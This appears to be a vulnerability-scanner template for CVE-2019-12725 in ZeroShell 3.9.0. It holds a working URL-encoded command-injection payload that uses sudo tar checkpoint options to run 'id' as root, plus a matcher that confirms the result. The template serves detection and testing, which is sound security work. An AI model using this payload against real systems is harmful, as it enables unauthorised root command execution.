27 lines
1022 B
YAML
27 lines
1022 B
YAML
id: cve-2019-12725
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info:
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name: Zeroshell 3.9.0 Remote Command Execution
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author: dwisiswant0
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severity: critical
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description: |
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This template exploits an unauthenticated command injection vulnerability
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found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
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As sudo is configured to execute /bin/tar without a password (NOPASSWD)
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it is possible to run root commands using the "checkpoint" tar options.
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references:
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- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
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- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: regex
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regex:
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- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" |